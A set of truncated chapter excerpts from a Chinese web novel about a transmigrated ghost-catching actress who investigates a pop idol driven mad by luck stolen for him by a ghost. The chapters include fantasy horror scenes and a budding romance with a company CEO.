蓝双呜呜地哭道:“他为什么要这么对我?我那么爱他,我对他那么好,事事顺着他的意,什么都帮他做,他还有什么不满意?我那么爱他,他为什么要这么对我?” 蓝双总共说了三次“我那么爱他”,一只鬼把自己搞得这么卑微,令人唏嘘。 左轻白此人,是有点侠气在身上的,很多时候她爱当侠女,喜欢打抱不平。听到这里,左轻白站了起来,攥紧拳头,义愤填膺道:“太过分了,连鬼都不放过!” 左轻白对蓝双说:“你偷气运是为了俞洛城,所以,俞洛城才是罪魁祸首。PUA一只鬼来帮自己做事,这人坏到骨子里了。你进我的符纸里呆着,我带你去跟他对峙。这些气运我先帮你收着,等你看清了俞洛城,我再把气运归还原主也不迟。” 左轻白左手拿出一张符纸把蓝双收进去,右手拿出一张符纸把蓝双的那些瓶瓶罐罐收进去,随后左轻白在这间房间里找到了离开陷阱的出口,从出口钻了出去。 左轻白一眨眼, 8. 画符什么笔都行 《当一个女明星会抓鬼[穿书]》全本免费阅读 纠结了一会后,路回把俞洛城的情况告诉了左轻白。 “我说俞洛城会来练习室是骗你的,他来不了,他最近的精神状况不太好。”路回说,“我让人安排了精神科的医生对他进行一对一治疗,为了不引起舆论风波,我要求所有知情人保密,对外含糊地说俞洛城因为身体原因,这个月减少行程。” “精神状况不太好?” “一会我带你去他家里看看,你就知道是什么情况了。他变得有点……疯。”路回叹气道,“我在小说里见过这样的桥段,鬼吃掉人的一魂一魄,就会导致人的精神变得不太正常。” “你怀疑蓝双吃了俞洛城的一魂一魄?蓝双害了俞洛城?” 路回严肃地点了点头,认真道:“没错。所以刚才你说俞洛城PUA蓝双,我不太相信,我倒是觉得是蓝双害俞洛城脑子不正常。” 左轻白跳起来拍了路回脑门一下,叉腰愤愤道:“小说?你有没有搞错?小说都是编的!我才是真正的捉鬼师,我是专业的,我比小说靠谱一百倍!” 路回揉了揉自己的脑门,无奈道:“你怎么这么爱炸毛……请问专业的捉鬼师小姐,小说讲的是对是错?” “当然是错的,没这种说法。”左轻白大手一挥,说:“带我去见俞洛城。” 不久后,司机开车,路回和左轻白并排坐在后排,前往俞洛城的家。 “蓝双最近经常请病假。”路回说。 “哟,我还以为你们这种富三代开公司都是请人管理然后自己当甩手掌柜的呢,没想到你当老板是真当啊。”左轻白调侃道。 “家里有钱跟喜欢工作并不冲突。我无法理解那些整天无所事事的人,闲着不工作难道不会无聊、不会空虚吗?”路回满脸认真。 左轻白倒吸一口凉气,差点把自己变成表情包。左轻白问路回:“你是真这么认为还是在凡尔赛?” “你觉得我像开玩笑?” “不像。行吧你赢了。” 路回看向左轻白,问:“你一定也很喜欢你的工作吧,你的工作那么特殊,一定很有意思。” 左轻白双手交叠在脑后,眼睛向上看,说:“也就还行。我是不干不行。” “为什么不干不行?”路回问。 “这个世界能当捉鬼师的人极少极少,绝大部分人没这方面的天赋,这行跟其他行业不一样,没天赋连门都入不了。但是呢,这个世界鬼很多啊,捉鬼师本来就少了,鬼又多,我再不干,这么多鬼谁来抓呢?” 路回看着左轻白,嘴角不自觉地勾起笑容,“嗯……原来你还是一个守护世界的人。” 左轻白打了个哈欠,用懒懒散散的语气说:“什么守护不守护的?别捧杀啊。只是一门手艺,混口饭吃而已。” 忽然,左轻白想到一件事。 这件事左轻白犹豫了很久,思来想去,最后她还是决定提醒路回:“对了,你要小心金绮月,她也是鬼。” “什么?”路回皱眉,表情惊讶,“怎么鬼都进娱乐行业里来了?” “很正常,娱乐行业没有门槛,鬼容易进来。”左轻白慢悠悠地说,“我知道你喜欢金绮月,一时难以接受,你可以不相信我,但鉴于捉鬼师的职业素养,我觉得我应该告诉你这件事。” 左轻白认为,这是在一本大女主爽文小说中,男主被女主吸引是注定的事,路回喜欢金绮月,他一定很难接受金绮月是鬼这个事实,但作为捉鬼师,左轻白觉得自己有义务告诉路回这件事。 路回却一歪脑袋,微微一笑,问:“你怎么知道我喜欢金绮月?” “我就是知道。”左轻白非常肯定地说。 然后,左轻白又想起了另外一件事,她想起自己曾亲眼目睹周夙和金绮月在休息室里亲热。 “还有一件事,我说了你别生气啊。你……被戴绿帽子了。”左轻白说。 “绿帽子?”路回心想自己还单身呢哪来的绿帽子? “你哥哥周夙,跟金绮月关系不一般。别说是我的说啊。” 路回震惊道:“你怎么知道周夙是我哥哥?” 周夙是路家私生子这件事没有公开,没几个人知道这事,左轻白怎么会知道? 左轻白随口说道:“我是捉鬼师嘛,偶尔抓到几个知情又多嘴的鬼,它们八卦给我听的。” 路回露出恍然大悟的表情,显然,他信了。 车里沉默了一会。 过了一会,路回打破沉默,对左轻白说:“我跟金绮月没什么,金绮月是我哥的女朋友,只是没公开。” “是吗?你不喜欢金绮月?”左轻白露出不相信的表情。不可能吧?小说里明明写的是路回喜欢金绮月,是金绮月的护花使者。 “不喜欢。”路回毫不犹豫地说,“金绮月是鬼这件事,我会提醒我哥的。这桩生意完了之后,我想再雇你去抓金绮月,一只鬼在我哥身边,我很担心。” “不不不……”左轻白吓得连连摆手,“接不了接不了,金绮月的生意我接不了。” “为什么?” “不是我不想,金绮月的级别太高了,她是鬼中最厉害的那一种,我拿她没办法,没有金刚钻我揽不了瓷器活啊。”左轻白向路回解释,“我碰上她没胜算的,我就是被她打伤后背,才会落到你车顶上,如果不是你恰巧出现,把我带走,我可能会被她弄死!” 路回整理了一下思绪,惊讶道:“所以你背上的伤是金绮月打的?” “不然呢?还有谁能伤我?” “我还以为……”路回想起自己对左轻白的误会,决定闭嘴。 有些事情就让它烂在肚子里好了,路回悄咪咪想。 俞洛城家。 精神科医生刚走,只有俞洛城和一个男助理在家。 左轻白和路回走进俞洛城的家, 9. 我保证你一定能红 《当一个女明星会抓鬼[穿书]》全本免费阅读 左轻白看到了俞洛城半年前的记忆。 半年前。 俞洛城独自一人在医院洗胃,孤零零的,这场面要是放到半年后根本不可想象,半年后的俞洛城是个到哪都前呼后拥的大明星,如果就这么一个人来医院,医院病房怕是会被粉丝挤爆。半年前的俞洛城就是个籍籍无名的小透明,他去医院,医生护士没人认识他。 俞洛城有明星梦,他很努力,唱跳实力都不弱,然而连续参加了几次选秀,一点水花也没有,总是没录几场就惨遭淘汰,甚至连单人镜头都看不到。别说实现明星梦了,俞洛城连明星的衣角都没摸到,甚至没有公司签他。 娱乐圈踩低捧高的现象很严重,俞洛城奔波在各个选秀节目之间,受尽了制片、导演、编导的冷言冷语、贬低嘲讽,不可否认俞洛城有才,他的唱跳实力很强,但有才的人多了去,有没有才不重要,红不红、能不能红才是关键。 这一次,没有资源的俞洛城好不容易争取到一次上综艺的机会,尽管以他现在的资历上了综艺也不过是当背景板,但好歹是一次机会。但俞洛城忘了,不红的人上综艺,容易被欺负。 综艺上,主持人让俞洛城参加喝酸奶比赛,俞洛城拿起酸奶一喝,马上发现不对,那不是酸奶,是白油漆!但主持人一直在催促“快喝快喝”,节目编导也在台下死死盯着自己,俞洛城挣扎之下选择了忍气吞声,喝下了白油漆,最后的结局就是他来医院洗胃了。 洗胃后需要住院观察一段时间,俞洛城孤零零地躺在病床上,有种心灰意冷的感觉。 俞洛城怀揣着明星梦来京闯荡,却处处碰壁,尝尽人情冷暖,现实打了他不知多少个嘴巴子,把他的信心都打没了。俞洛城想,自己可能真的不是这块料,要不出院后回老家算了。 半夜的时候,俞洛城起来上厕所,他的病房没有单独的厕所,要出去上公共卫生间。 俞洛城走在医院走廊上,走廊空荡荡的,只有他一个人。 但当俞洛城拐了个弯后,他居然看到有一个护士在走廊拖地。护士背对着俞洛城,看不到脸,但她身材苗条,背影婀娜,光看背影就能猜出是个美女。 护士拿着拖把在拖地,拖来拖去好像就只拖那一块地砖。 俞洛城走过去,刚想问候一句“怎么这么晚还没下班”,没曾想,那护士一转头,就把俞洛城吓丢了半条命。 那护士的脸上没有五官。 俞洛城大叫一声转头就跑,可这条走廊好像突然之间头尾相连了起来,俞洛城拼命地跑,因为过于恐惧的缘故,边跑边摔跤。俞洛城拐了几个拐角,却还在这条走廊上,始终回不到他的病房。 俞洛城听到身后传来悉悉簌簌的动静。 俞洛城惊恐地转头,当即头皮发麻,他看到那个护士脸朝地趴在地上,脸像章鱼的吸盘一样吸着地板,四肢像蜘蛛的脚一样拱起,朝俞洛城爬来。 俞洛城大喊救命,就在这时,走廊转角突然跑出来一个女人,女人穿着高跟鞋,“哒哒哒哒”地小跑了过来。 女人挡在俞洛城跟前,盯着地上那“护士”看了一会,“护士”突然全身颤抖,不一会儿,“护士”萎缩了,全身瘪了下去,只剩下一件护士服在地上。 俞洛城吓得腿软,坐倒在地上。 女人转过身,正想去扶俞洛城,俞洛城却一哆嗦。 女人露出安抚的笑容,说:“别怕,我是人。” 当然,这女人不是人,是鬼。女人就是蓝双,刚才那个假护士是她的鬼奴。蓝双放鬼奴出来吓俞洛城,自己再现身救俞洛城。这一切俞洛城都不知道,在俞洛城眼里,蓝双是个救过自己的很厉害的人。 蓝双扶着俞洛城回到病房。病房里只有俞洛城一个病人,其他几张病床都是空的。 俞洛城坐在病床上,蓝双小心翼翼地帮俞洛城上药,刚才在走廊上,俞洛城摔了几跤,膝盖有擦伤。 蓝双很温柔,她时而轻吹俞洛城的伤口,时而温声细语地问俞洛城疼不疼,她的手指轻轻抚摸俞洛城的皮肤,俞洛城脸都红了。 俞洛城活这么大从来没被人这么温柔地对待过。 俞洛城的亲生母亲死得早,他爸爸娶了个后妈,跟后妈生了个弟弟,后妈讨厌俞洛城,后妈脾气大,他爸又软弱,可想而知俞洛城的童年过得很不好。没有人对俞洛城温柔过,蓝双是俞洛城遇到的第一个对自己温柔的女性。 俞洛城一直没跟蓝双讲,其实在医院的那个晚上,自己就喜欢上她了。喜欢上一个人不需要多长时间,十几分钟,甚至几分钟,足够了。 “刚才那个是什么东西?”俞洛城小心翼翼地问蓝双,他的眼睛一眨不眨地盯着蓝双看,生怕少看了一秒,然而蓝双在帮他上药,似乎没注意到他的目光。 “是鬼。”蓝双平静地回答。 “啊?”俞洛城慌了。 蓝双微微一笑,柔声细语道:“不要慌张,它已经跑了,不会再回来了。” 很奇怪,蓝双长相端正,穿的也只是普普通通的套装,明明哪哪都不暴露,但神态和语气总是会流露出媚态,这种媚不是那种俗气的媚,而是很舒服的、在无形之中就酥到人骨子里的媚。 蓝双帮俞洛城上完药,坐在俞洛城对面的空病床上。蓝双坐下时,背部不塌,小腹收紧,仪态很美。 俞洛城手足无措,不敢直视蓝双的脸。深夜的病房只有他们两个人,俞洛城能听见自己的心脏在“砰砰”地跳,脸好像也有些发烫。 “医院里很多脏东西的。”蓝双对俞洛城说,语气依旧是温声细语,叫人心酥,“这些脏东西怕人,平时它们都躲着,病人很少会见到。你今晚碰上,是因为太倒霉了,你运气不太好。” 俞洛城想到自己进医院的原因,苦笑道:“我运气一直差得很。” 比起诉说自己的经历,俞洛城更想对眼前这个女孩多一点了解,他反复组织语言,对蓝双说:“谢谢你救了我。那个……你真厉害,刚才你一来,鬼就跑了,简直太酷了,你是不是会法术啊?” 蓝双微微一笑,说:“我爷爷会玄黄道法,我 10. 另一个人的影子 《当一个女明星会抓鬼[穿书]》全本免费阅读 蓝双看俞洛城的眼神很深情,深情到俞洛城认为她爱上了自己——没开玩笑,俞洛城确实是这样认为的,虽然俞洛城现在一无所有,但他长得帅啊,长得帅的男人多半有点自恋。 对于蓝双喜欢自己这个猜测,俞洛城是窃喜的,他认为这是命运之神第一次眷顾自己,让他遇到了一个与自己两情相悦的姑娘。 蓝双深情款款地对俞洛城说:“听我的,洛城,跟我签约,你想红,我帮你。红靠的不是别的,靠的是运气。你运气差,是因为气运弱,而我略懂玄黄道法,我有办法帮你补气运。” 蓝双低下头,贴在俞洛城耳边,轻声说:“我可以帮你把别人的气运偷来。” “玄黄道法”、“补气运”什么的,俞洛城将信将疑,但这时候的俞洛城根本无法拒绝蓝双。俞洛城看着蓝双的眼睛,给出了自己的答复:“好。” 在蓝双的牵线下,俞洛城与嘉烨娱乐传媒有限公司签约,成为了一名唱跳练习生,经纪人是蓝双。 “我会让你大红。”蓝双对俞洛城说。 经历了那么多次失败,俞洛城对自己能成功的信心已经不大了,他之所以签约,其实是为了蓝双。但没想到的是,蓝双没有说大话,她说让俞洛城大红,她做到了,跟嘉烨娱乐签约没多久,俞洛城以坐火箭的速度大红大紫,成为了红透半边天的大明星。 红气养人啊,成为唱跳天王后,俞洛城更自信了,状态也好了,气质更不用说,提升了好几个档次。 被人群簇拥的俞洛城经常能看到在暗处偷偷注视自己的蓝双,蓝双的目光里充满了痴迷与爱恋,看得俞洛城心神一荡。 于是俞洛城在心里想:她一定是爱我的,她一定十分爱我,她爱我爱到了骨子里。 男人在感情上比女人自信,他们也更容易在头脑中产生幻想,于是蓝双常常进入俞洛城梦里。 很快,俞洛城跟蓝双表白了,他们暗地里在一起了,但没有公开,无论是在公众面前还是在公司,两人都装作普通同事的关系,是一个地下情的状态。 俞洛城与蓝双白天做同事,夜里做夫妻。 这样的日子过了没多久,俞洛城发现了有哪里不对。俞洛城在与蓝双交往的过程中有时会觉得,蓝双好像写了一个剧本,安排自己在剧本中演了一个角色,她通过自己来爱这个角色。 有几次两人半夜缠绵到一半的时候,蓝双突然捧着俞洛城的脸,痴痴地看着他,用幽怨的语气问他:“洛城,像你这样光芒万丈的人,真的会爱我吗?会爱我多久呢?” 俞洛城以为是因为自己太红的缘故,蓝双没有安全感,便耐心地哄她、吻她,可哄了几次之后发现不对,蓝双好像根本不会管俞洛城说过什么、承诺什么,俞洛城的话她左耳朵进去右耳朵就立即出去了,下一次蓝双依然会用惶恐的、幽怨的语气对俞洛城说:“洛城,你会不会觉得我配不上你?你会不会抛下我?” 这还不是最诡异的,最诡异的是,有时俞洛城躺在家里的沙发上,蓝双窝在俞洛城怀里,两人一边温存,一边聊圈里的八卦,本应该是美好温馨的时光,哪知聊着聊着,蓝双的话题会不知不觉歪出十万八千里,聊到俞洛城完全一头雾水的事情上去。 蓝双说:“那时只因为我砸碎了你最喜欢的茶杯,你就对我大发雷霆,你知道那一刻我有多害怕吗……” 俞洛城心想:茶杯?什么茶杯?我都不爱喝茶,什么时候有过最喜欢的茶杯? 蓝双说:“你能不能不要总对我大发脾气?” 俞洛城心想:我有对她发过脾气吗? 蓝双说:“我知道我长得不好看,穿衣品味也一般,但我会去学怎么穿搭。” 俞洛城心想:她为什么要对我说这些? 蓝双说:“你多对我笑笑好不好?” 俞洛城心想:我经常对你笑啊。 次数多了,俞洛城再怎么自信都不得不怀疑,蓝双是不是在说另一个人?她是不是表面上在看自己,实际上是透过自己在跟另外一个人对话?自己是不是成了另外一个男人的替身? 俞洛城旁敲侧击地问过蓝双这个问题,可蓝双什么都不说,但这样的情况出现的次数却越来越多。 俞洛城每一次看蓝双的眼睛,总觉得蓝双看着自己时,眼睛里映出来的那个人不是自己。 俞洛城几乎暴跳如雷。虽然现在的俞洛城大红大紫,爱他的人很多很多,但遇到蓝双之前,俞洛城被继母的刁难、被父亲忽视、被节目组欺负,蓝双才是第一个让他感受到爱的人,蓝双也是第一个让俞洛城品尝到情事欢愉的人,所以俞洛城潜意识里认定蓝双是自己的,就好像一只野兽认定了他标记的东西一样,俞洛城不想放过蓝双。 俞洛城会观察蓝双都跟哪些男人有接触。蓝双在娱乐公司上班,少不了接触年轻男明星,俞洛城看到后,回到家就开始跟蓝双较劲,他生气地质问蓝双是不是对某某小明星有意思,但他只要一开始吼,蓝双就捂脸哭了起来,边哭边说:“我都说了,你能不能不要总对我大发脾气。” 俞洛城怒了,拿起茶几上的一个水杯砸到地上,蓝双便说:“你看,你又砸杯子了。” 地上铺了地毯,所以杯子没砸碎,蓝双小心翼翼地捡起水杯,放回茶几上,她虽然姿态卑微,可有一瞬间俞洛城竟然从她眼中看出了一丝欣喜,就好像……就好像自己终于会砸杯子了,她很欣慰一样。 俞洛城不由得怀疑,蓝双心里藏着的那个男人喜欢砸杯子,自己这一砸,让蓝双在自己身上看到了那个男人的影子,所以她很欣喜。 她根本不爱自己,她只是在自己身上找另一个人的影子! 俞洛城变得越来越敏感多疑。 俞洛城疑神疑鬼,他开始用很幼稚的方式在蓝双身上找茬,引起蓝双的注意,蓝双便对他说:“ 11. 你到底图啥 《当一个女明星会抓鬼[穿书]》全本免费阅读 左轻白用手托着腮思考了一会,说道:“这么说,这事的原委还得问左轻白?” “是,你把她放出来,咱俩审问她。”路回说。 “咱俩审问?”左轻白瞪大了眼,一拍路回的脑门,“哇塞,大少爷你是真的胆大,你又不是捉鬼师,你怎么敢审问鬼?” “不要再打我脑门了!”路回愤愤道,“从小到大就没有人打过我。” “那现在不就有了?”左轻白无所谓地说。 “把她放出来,咱俩审问她。”路回努力拿出路家少爷、公司总裁的架势来,试图命令左轻白。 左轻白怎么可能受他命令?左轻白说:“要不你先出去。” “为什么?” “她是一只鬼,鬼很危险的!你还在这里,我就把她放出来,出了意外怎么办?我要为你的安全考虑!” “你不要把我想得这么弱,再说,不是有你这个金牌捉鬼师在吗?” “你这么执着留下来,是因为关心俞洛城?干嘛?想潜规则他啊?” “你思想能不能不要这么龌龊?” “小说都是这么编的。” “你自己都说了小说编的不可信!” “那帮俞洛城治疯病这事为什么对你来说这么重要?”左轻白双手抱臂,问。 “他是我公司的员工,我关心他有问题吗?”路回要被左轻白气死。 左轻白嗤之以鼻,道:“如果不是你想潜他,那就是因为他能挣钱,是你们公司的摇钱树,你才这么紧张他的,哼,万恶的资本家!不过我要提醒你,蓝双跟我说,一旦偷了气运就要一直偷,不然红运马上下滑,就算俞洛城的疯病能治好,以后没有蓝双帮他偷气运,他的人气也会直线下滑,用不了多久就会过气,没法再帮你挣钱。” “过不过气另说,把人治好,也是功德一件。”路回认真道。 左轻白上上下下打量路回,“居然有讲功德的老板?” “你这是偏见。” “你如果执意要留下来,我可以同意,但你要记住,一旦出现什么状况,一定要往我身后躲。”左轻白嘱咐。 “好。” 左轻白拿出关着蓝双的符纸,口中念念有词道:“玄黄相生,五行相克,御我术者,百鬼伏诛!” 左轻白手中的符纸变成了一扇门的形状,那扇门打开,蓝双从门里滚了出来。 蓝双进去之后,人皮破洞的情况非但没好,反而更严重了,她的人皮掉了快一半下来,皮下面是黑乎乎的一团人形,软乎乎的,像腐烂的烂肉。 路回被吓得后退一步。 蓝双出来之后是个懵懂的状态,她迷茫地在原地转了个圈,由于人皮脱落的缘故,她的眼睛也随之脱落,不在应该在的位置上,所以她看不清周围的东西,只能闻到周围有人的气味。 蓝双顺着人气寻过去,在一瞬间内靠气味锁定了路回的位置,她拖着一张半掉不掉的人皮,突然向路回发难,扑向路回。 那场面相当骇人,路回被吓得双腿都无法动弹。关键时刻是左轻白一拽路回,把他拽到自己身后,自己手中则幻化出一把金色巨剑。 左轻白一跃而起,干脆利落地把手中巨剑刺入厉鬼蓝双的胸口,蓝双发出一声嚎叫,摔倒在地。接着,巨剑幻化成一阵金沙,金沙重新组合成一个金色的牢笼,将蓝双牢牢困在里面。 左轻白从空中落地,落到路回跟前,背对着路回,轻松地拍了拍手。 这一刻的左轻白又飒又美,她身后的路回瞪大了眼,都看呆了。 路回觉得自己的心口仿佛“咯噔”一下打开了,眼前这个飒得要死的捉鬼师小姐姐一下子钻了进去,印在他心里。 路回看着左轻白的背影,久久没有眨眼。 左轻白和路回并排坐在沙发上审问蓝双。由于蓝双人皮掉了一半的样子太过可怕,左轻白用了点法术,帮蓝双把人皮穿上,所以蓝双现在是人的模样。 俞洛城被锁在房间里,房间里时不时传来他疯疯傻傻的声音。 左轻白指着关着俞洛城的房间门,问蓝双:“你爱俞洛城吗?” 蓝双冷冰冰地回答:“不爱。他是什么东西?他也配我爱?” “不是……当时在负一楼,你不是这么跟我说的!你说你爱俞洛城,爱到愿意为他做很多事,但他却总是对你不好,你被他伤得很深。你当时的可怜劲到哪里去了?”左轻白是个急性子,急道。 蓝双依旧是冷冰冰的模样,对左轻白说:“鬼话鬼话,鬼说的话,你也敢信?天真。” 左轻白睁大眼睛,转头去问路回:“我是被鬼教育了吗?” 路回同情地点了点头。 金牌捉鬼师被鬼教育了,这简直是奇耻大辱。 路回问蓝双:“俞洛城是不是你真正爱的人的替身?” 蓝双点头。 路回的头往左轻白的方向一偏,向左轻白嘀咕道:“替身文学。” “好狗血,世界就是一盆巨大的狗血。”左轻白小声吐槽。 路回端正坐好,继续问蓝双:“可如果你只把他当替身,为什么要花那么大力气帮他实现明星梦?我听说收集气运对你消耗很大。” “因为我想把他变成我爱人的模样 12. 还回去 《当一个女明星会抓鬼[穿书]》全本免费阅读 “图……图……”蓝双说了两个“图”字,却无法再往下说。 蓝双惊恐地发现,她自己也不知道她图啥。 蓝双瘫在地上,支支吾吾道:“是啊……我图什么呢?” 蓝双捂着脑袋,她想起很多年前,她生意不好,老鸨打她,叫龟公欺负她,她不堪折磨,逃了出来,那天晚上她本心灰意冷,萌生死意,却偶然在戏台子上看到了一出戏,这出戏是符鹤之演的。 符鹤之是旦角,他演的是《贵妃醉酒》,虽是男扮女角,但符鹤之把贵妃的美演绎得淋漓尽致。蓝双看呆了,开始模仿起符鹤之的眼神和身段来。 后来蓝双被派来追她的人带走了,蓝双被带回去后,自己在房间里继续练习贵妃的眼神和身段,说来奇怪,她练过之后,整个人的神韵都变了,客人们都爱她,她的生意渐渐好了起来,老鸨不再打她,而是将她当个宝似的捧着、哄着,对她笑脸相迎。 从那以后,蓝双有了个爱好,就是看戏,她经常到戏园子里看戏,最爱看符鹤之的戏。 蓝双这辈子第一次有了“爱好”这种东西,一旦有了爱好,哪怕是心灰意冷的人也找到了生活的乐趣,愿意活下去,从某种程度上可以说是符鹤之救了蓝双,但这一切只有蓝双自己知道。 可是符鹤之看不上蓝双啊,他是大红大紫过的人,怎么可能看得上一个妓子,只是不红之后只有这个妓子还死心塌地地跟着他,他只能无奈接受。 蓝双拼命讨好符鹤之,换来的是他更多的不屑。蓝双在负一层时跟左轻白控诉的那个人,不是俞洛城,而是符鹤之。 让蓝双受虐的是符鹤之,让蓝双被爱的是俞洛城,但蓝双只记得符鹤之,甚至想把俞洛城变成符鹤之,重复当年跟符鹤之在一起时的感觉。 笼子里的蓝双显然自己都想不明白为什么,她抓住自己的头发,开始发疯,一边发疯一边把自己的人皮从头皮开始撕成两半。 那画面太过血腥,左轻白伸手把路回的眼睛蒙上,她自己倒是见怪不怪,她早看多了。 蓝双一边撕自己的人皮一边说:“我为什么要这样……我图什么……” 蓝双人皮下那团黏糊糊的东西开始腐烂、消逝。左轻白大步走到牢笼前,急道:“你先停手!先告诉我俞洛城的疯病怎么治?” 蓝双不理她,继续撕自己的皮,左轻白把手伸进牢笼里,抓住蓝双的手臂,问:“俞洛城的疯病怎么治?” 蓝双发了狂,露出獠牙,张嘴就冲左轻白的手臂咬去,突然路回冲了过来,拉了一把左轻白,蓝双没咬着左轻白,反倒咬伤了路回。 路回的手臂出现了两个洞,鲜血哗哗直流,滴落到左轻白手上。 左轻白抓着路回远离关着蓝双的牢笼,两人撞在沙发上。里面的动静太大,连守在门外的小助理都忍不住问:“路总,没事吧?” 路回用命令的口吻对小助理说:“我没事,你走远点,越远越好。” “怎样才算远啊?”小助理呆头呆脑地问。 “你直接回公司吧。”路回怕小助理被连累。 “哦……” 小助理听话地走了。 路回被咬伤的地方一直在流血,他紧挨着左轻白,血流到了左轻白身上。 “我去找医疗箱。”左轻白急道。 左轻白正想起身,突然,一道黑色的旋风从窗外刮了进来,黑旋风里裹着的是一个穿着红色衣裙的女孩,女孩明眸皓齿,长得跟个洋娃娃似的,是金绮月。 金绮月歪着脑袋看向牢笼里的蓝双,接着她优雅地轻抬右手,那股黑旋风汇聚在蓝双头顶,幻化成两只黑爪的模样,那两只黑爪抓住蓝双,轻松地把蓝双从中间撕开,撕成两半。 蓝双发出撕心裂肺的怪叫,一条长长的蓝线从蓝双裂开的身体里钻了出来,金绮月朝那蓝线勾勾手,蓝线听话地飞到金绮月手中。 金绮月得到蓝双体内的蓝线后,朝那双黑爪子使了使眼色,一瞬间的工夫,黑爪把蓝双彻底撕碎。 金绮月杀了蓝双。 金绮月露出天真的微笑,她慢悠悠地把蓝线绞起来,边绞边说:“当年我把半个指甲盖长的痴线放进她体内,如今都长这么长了。” “金绮月?”左轻白震惊道,“这事跟你有关?” “是我把痴线放进蓝双体内的,怎么不跟我有关?”金绮月得意洋洋地说,仿佛在说自己的战绩一样,“痴养痴线,痴线也会养痴。痴是她对符鹤之的痴。尽管符鹤之对她不好,但很不幸,蓝双已经习惯被这么对待了,所以她变成鬼后,即使找过无数个伴侣,换过无数张皮囊,心里所存的那一线痴念都会指引她把伴侣变成符鹤之的模样,她就喜欢呆在那种熟悉的感觉里。” “还不是因为你在她体内放了一截痴线!”左轻白指着金绮月说。 金绮月俏皮地挑了挑眉毛,“怎么就全是我的原因了呢?人大多不喜欢改变,喜欢熟悉的东西,鬼也一样,很多鬼之所以成鬼,就是为了重复生前,跟我有什么关系?” “俞洛城的疯病怎么治?”左轻白问。 金绮月一边绞线一边说:“蓝双是不是告诉你,偷了气运就要一直偷,否则红运就会下滑” “是。” “她只说了一半,没说完。偷气运就像药物成瘾,所需的量会越来越大,偷的量一旦不够了,俞洛城的名气、事业就会走下坡路,而走下坡路的前兆就是发疯。你想阻止俞洛城发疯,要么像蓝双那样偷加倍的气运来给俞洛城,但这是个无底洞,需要的气运越来越多,你会把自己耗得精疲力尽,就像蓝双;不过,还有另外一个方法……” “是什么?”左轻白急忙问。 金绮月的线还没绞完,她继续一边绞线一边慢悠悠地说:“俞洛城的气运是偷来的,那么他成为大明星,受万人追捧的那段经历也是偷来的,让他把那段经历还回去,因果抵消,疯病自然消失。” “怎么还?” “你自己想办法咯,你不是什么捉鬼师嘛?这还要问我?”金绮月笑嘻嘻地说,“等他把大明星的经历还回去后,全世界都不会记得曾经存在过一个叫俞洛城的唱跳天王,除了他自己。到时候街上会出现一个落魄的俞洛城,到处抓着路人问:‘我 13. 你还要回去的 《当一个女明星会抓鬼[穿书]》全本免费阅读 路回不是个容易被撩拨的人,最开始左轻白在酒店算计他,他都没入套,但明明是面对同一个人,此时的路回却害羞了。 “想什么呢你!”左轻白一巴掌拍歪了路回的脑袋。 路回被左轻白拍得晕乎乎的,眼角却露出掩饰不住的笑意。 “还笑!”左轻白毫不犹豫又拍了一巴掌。 “别打了别打了。”路回连忙说,“想想怎么救俞洛城吧。” “我没遇到过这种情况,不知道怎么救。”左轻白说。 现在左轻白只能干着急,要是在原来那个世界,她还可以去求助师父师兄师姐们,自己没有办法,他们或许有办法,或者大家一起想办法,可如今她在书里,这个世界只有她一个捉鬼师,她责任重大,却也孤立无援。 左轻白急得像热锅上的蚂蚁,反倒是路回先镇定了下来,路回说:“这样,我先叫人把俞洛城安顿好,对外继续封锁消息,你去我家,我们一起想办法。” “去你家?不行,不方便。”左轻白独来独往惯了,对路回的提议并不赞成。 左轻白果断拒绝,但路回还有后招。 路回幽幽叹了声气,露出忧虑的神态来,对左轻白说:“可是,刚才我看到了金绮月的真面目,她说不定会对我赶尽杀绝,她是鬼,我对付不了她的,我该怎么办啊……” 路回的相貌本就是顶好顶好的,再露出这副可怜的神情来,哪个女人顶得住?左轻白看着他的脸,莫名地呼吸一滞,晃了一下神。 路回低垂眼眸,长长的睫毛滤去目光,他叹息一声,说:“你是捉鬼师,如果连你都不管我,我可能真的要死在鬼的手上了。” 他这一声叹息,直接让左轻白萌生出了愧疚感。左轻白心想:是啊,我是这个世界唯一的捉鬼师,有人受到鬼的威胁,我怎么能不管呢?虽说在书里他是男主,活到了最后,但这世界似乎并不是完全按照书里来的,万一呢?万一剧情不按书里走呢?我不能拿人命做赌注。 路回虽然不是个喜欢玩手段的人,他比很多富二富三代都正直,但毕竟是在这个圈子里长大的,又把事业做得那么大,拿捏人心他还是很在行的,左轻白这人洒脱,但她责任感很强,想要拿捏她,拿捏她的责任感是最好的办法。路回有意无意提醒左轻白她是捉鬼师,没了她自己可能会命丧鬼手,左轻白出于责任感,肯定会对路回负责。 见左轻白果然犹豫了,路回趁热打铁,一本正经地说:“金绮月刚刚碰了钉子,一定会想办法报复,无论是我落单,还是你落单,都不是她的对手,只有我和你呆在一起,她才拿我们俩没办法,你想想,是不是这么回事?” 左轻白左思右想,觉得路回说得对。 接下来的事情都按路回安排的做。路回叫人安顿好了俞洛城,让司机送自己和左轻白回别墅,并让人买来了女孩子需要的生活用品,一切安排得妥妥贴贴。 左轻白走进路回的别墅时,郑重其事地对路回说:“我先声明啊,我住你家,不是贪图你的大别墅,等我收服了金绮月,就立即搬出去。” 路回点头道:“好。” 陈妈问路回左轻白的客房怎么安排,路回的别墅非常大,客房多了去,然而路回却悄悄对陈妈说:“让她离我近一点,她要是有疑问,就说只有这么几间房间合适。” 晚餐的时候,路回邀请左轻白一起用餐。 左轻白大快朵颐,她是捉鬼师,修炼和使用法术都很耗费体力,所以她胃口很好,吃得很多,无论吃什么都给人一种她吃的食物极其美味的感觉。 路回一直在看左轻白吃东西,自己没动几下筷子。左轻白干完了一盘意大利面,路回把自己那盘也推给左轻白,说:“还要不要?我这盘没动。” “谢谢。”左轻白毫不客气地吃了起来。 路回托腮看着左轻白,只觉得这姑娘吃东西真香,怪可爱的。 “你们捉鬼师体力耗费这么大吗?”路回好奇地问,“慈善晚宴上,我也看到你猛猛地吃。” “废话,你没看到我今天用回忆符的时候都满头大汗了吗?”左轻白边吃边说,“话说回来,慈善晚宴的时候,我没上台前你居然注意到我了?” “能不注意吗?”路回笑道,“当时所有人都端着仪态,保持风度,只有你在埋头苦吃,像饿了几天一样。” “旁边的人都不吃才奇怪呢,美食在前,居然不吃,全程端着,那背挺得直直的,还要时刻注意表情管理。”左轻白不解。 “注意点饮食,你是演员,这行怕胖。”路回提醒。 左轻白连连摇头,“这行我干不了,反正你把我封杀了,我干脆退圈,以后继续做个到处流浪的捉鬼师。” 